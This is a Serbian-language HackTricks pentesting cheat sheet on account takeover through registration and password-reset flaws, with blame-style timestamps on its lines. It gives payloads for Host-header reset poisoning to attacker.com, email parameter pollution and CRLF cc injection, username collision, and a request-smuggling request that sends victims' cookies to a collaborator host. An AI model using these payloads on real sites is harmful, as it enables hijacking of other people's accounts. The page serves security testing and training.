2024-07-19 16:13:40 +00:00
# Registracija i Preuzimanje Ranljivosti
2022-04-28 16:01:33 +00:00
2024-07-19 16:13:40 +00:00
{% hint style="success" %}
Učite i vežbajte AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Učite i vežbajte GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:13:40 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:13:40 +00:00
< summary > Podrška HackTricks< / summary >
2024-02-03 14:45:32 +00:00
2024-07-19 16:13:40 +00:00
* Proverite [**planove pretplate** ](https://github.com/sponsors/carlospolop )!
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:13:40 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-04-18 04:05:43 +00:00
### [WhiteIntel](https://whiteintel.io)
2024-04-18 03:37:40 +00:00
2024-05-05 22:40:09 +00:00
< figure > < img src = "../.gitbook/assets/image (1227).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
[**WhiteIntel** ](https://whiteintel.io ) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **malvera za krađu podataka** .
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera za krađu informacija.
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
2024-04-18 03:37:40 +00:00
{% embed url="https://whiteintel.io" %}
2024-05-05 22:40:09 +00:00
***
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
## Preuzimanje Registracije
2022-04-28 16:01:33 +00:00
2024-07-19 16:13:40 +00:00
### Dupla Registracija
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
* Pokušajte da generišete koristeći postojeće korisničko ime
* Proverite varijacije email-a:
2024-04-18 04:05:43 +00:00
* velika slova
* \+1@
2024-05-05 22:40:09 +00:00
* dodajte tačku u email
* specijalni karakteri u imenu email-a (%00, %09, %20)
* Stavite crne karaktere posle email-a: `test@test.com a`
2024-04-18 04:05:43 +00:00
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
### Enumeracija Korisničkog Imena
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
Proverite da li možete da otkrijete kada je korisničko ime već registrovano unutar aplikacije.
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
### Politika Lozinki
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
Kada kreirate korisnika, proverite politiku lozinki (proverite da li možete koristiti slabe lozinke).\
U tom slučaju možete pokušati da bruteforce-ujete akreditive.
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
### SQL Injekcija
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
[**Proverite ovu stranicu** ](sql-injection/#insert-statement ) da biste naučili kako da pokušate preuzimanje naloga ili izvučete informacije putem **SQL Injekcija** u registracionim formama.
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
### Oauth Preuzimanja
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md ](oauth-to-account-takeover.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
### SAML Ranljivosti
2021-06-27 14:55:59 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks ](saml-attacks/ )
{% endcontent-ref %}
2021-06-27 15:43:01 +00:00
2024-07-19 16:13:40 +00:00
### Promena Email-a
2021-06-27 15:43:01 +00:00
2024-07-19 16:13:40 +00:00
Kada se registrujete, pokušajte da promenite email i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne email adrese.
2021-06-27 14:55:59 +00:00
2024-07-19 16:13:40 +00:00
### Dodatne Provere
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
* Proverite da li možete koristiti **disposable email adrese**
* **Duga** **lozinka** (>200) dovodi do **DoS**
* **Proverite ograničenja brzine prilikom kreiranja naloga**
2024-02-10 13:11:20 +00:00
* Koristite username@**burp\_collab**.net i analizirajte **callback**
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
## **Preuzimanje Lozinke Reset**
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
### Curjenje Tokena za Reset Lozinke putem Referrera <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
1. Zatražite reset lozinke na vašu email adresu
2. Kliknite na link za reset lozinke
2024-04-18 03:37:40 +00:00
3. Ne menjajte lozinku
2024-07-19 16:13:40 +00:00
4. Kliknite na bilo koje 3rd party veb stranice (npr: Facebook, Twitter)
5. Presretnite zahtev u Burp Suite proxy
6. Proverite da li referer header curi token za reset lozinke.
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
### Trovanje Reset Lozinke <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
1. Presretnite zahtev za reset lozinke u Burp Suite
2. Dodajte ili izmenite sledeće heder-e u Burp Suite : `Host: attacker.com` , `X-Forwarded-Host: attacker.com`
3. Prosledite zahtev sa izmenjenim heder-om\
2024-04-18 03:37:40 +00:00
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
2024-07-19 16:13:40 +00:00
4. Potražite URL za reset lozinke na osnovu _host header-a_ kao što je: `https://attacker.com/reset-password.php?token=TOKEN`
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
### Reset Lozinke putem Email Parametra <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com& email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
2024-02-10 13:11:20 +00:00
### IDOR na API parametrima <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
1. Napadač mora da se prijavi sa svojim nalogom i ode na funkciju **Promena lozinke** .
2024-02-10 13:11:20 +00:00
2. Pokrenite Burp Suite i presretnite zahtev.
2024-07-19 16:13:40 +00:00
3. Pošaljite ga na repeater tab i izmenite parametre: ID korisnika/email\
2024-02-10 13:11:20 +00:00
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Slab token za resetovanje lozinke <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put.\
Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generacije je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma.
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
* Vreme
2024-02-10 13:11:20 +00:00
* ID korisnika
2024-07-19 16:13:40 +00:00
* Email korisnika
2024-02-10 13:11:20 +00:00
* Ime i prezime
* Datum rođenja
* Kriptografija
* Samo brojevi
2024-07-19 16:13:40 +00:00
* Mala sekvenca tokena (karakteri između \[A-Z,a-z,0-9])
2024-02-10 13:11:20 +00:00
* Ponovna upotreba tokena
* Datum isteka tokena
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
### Curjenje tokena za resetovanje lozinke <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za specifičan email npr: test@mail.com
2. Istražite odgovor servera i proverite za `resetToken`
3. Zatim koristite token u URL-u kao `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Resetovanje lozinke putem kolizije korisničkog imena <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
1. Registrujte se na sistem sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr: `"admin "`
2024-05-05 22:40:09 +00:00
2. Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom.
2024-07-19 16:13:40 +00:00
3. Iskoristite token poslat na vaš email i resetujte lozinku žrtve.
4. Prijavite se na nalog žrtve sa novom lozinkom.
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
Platforma CTFd je bila ranjiva na ovaj napad.\
2024-07-19 16:13:40 +00:00
Pogledajte: [CVE-2020-7245 ](https://nvd.nist.gov/vuln/detail/CVE-2020-7245 )
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Preuzimanje naloga putem Cross Site Scripting-a <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na roditeljski domen: `*.domain.com`
2. Icurite trenutni **kolačić sesije**
2024-02-10 13:11:20 +00:00
3. Autentifikujte se kao korisnik koristeći kolačić
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
### Preuzimanje naloga putem HTTP Request Smuggling-a <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
1\. Koristite **smuggler** da detektujete tip HTTP Request Smuggling-a (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h` \
2024-07-19 16:13:40 +00:00
2\. Kreirajte zahtev koji će prepisati `POST / HTTP/1.1` sa sledećim podacima:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` sa ciljem da otvorite preusmeravanje žrtava na burpcollab i ukradete njihove kolačiće\
3\. Finalni zahtev može izgledati ovako
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
2024-07-19 16:13:40 +00:00
Hackerone izveštaji o eksploataciji ovog buga\
2024-05-05 22:40:09 +00:00
\* [https://hackerone.com/reports/737140 ](https://hackerone.com/reports/737140 )\
\* [https://hackerone.com/reports/771666 ](https://hackerone.com/reports/771666 )
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Preuzimanje naloga putem CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:13:40 +00:00
1. Kreirajte payload za CSRF, npr: “HTML forma sa automatskim slanjem za promenu lozinke”
2024-02-10 13:11:20 +00:00
2. Pošaljite payload
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Preuzimanje naloga putem JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
JSON Web Token može se koristiti za autentifikaciju korisnika.
2021-11-30 00:17:48 +00:00
2024-04-18 04:05:43 +00:00
* Izmenite JWT sa drugim ID-jem korisnika / Email-om
2024-07-19 16:13:40 +00:00
* Proverite slab JWT potpis
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md ](hacking-jwt-json-web-tokens.md )
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
## Reference
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover ](https://salmonsec.com/cheatsheet/account\_takeover )
2022-04-28 16:01:33 +00:00
2024-04-18 04:05:43 +00:00
### [WhiteIntel](https://whiteintel.io)
2024-04-18 03:37:40 +00:00
2024-05-05 22:40:09 +00:00
< figure > < img src = "../.gitbook/assets/image (1227).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
[**WhiteIntel** ](https://whiteintel.io ) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili **kompromitovani** od strane **malvera za krađu podataka** .
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
Njihov primarni cilj je borba protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera za krađu informacija.
2024-04-18 03:37:40 +00:00
2024-07-19 16:13:40 +00:00
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
2024-04-18 03:37:40 +00:00
{% embed url="https://whiteintel.io" %}
2024-07-19 16:13:40 +00:00
{% hint style="success" %}
Učite i vežbajte AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Učite i vežbajte GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:13:40 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:13:40 +00:00
< summary > Podrška HackTricks< / summary >
2024-02-03 14:45:32 +00:00
2024-07-19 16:13:40 +00:00
* Proverite [**planove pretplate** ](https://github.com/sponsors/carlospolop )!
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:13:40 +00:00
{% endhint %}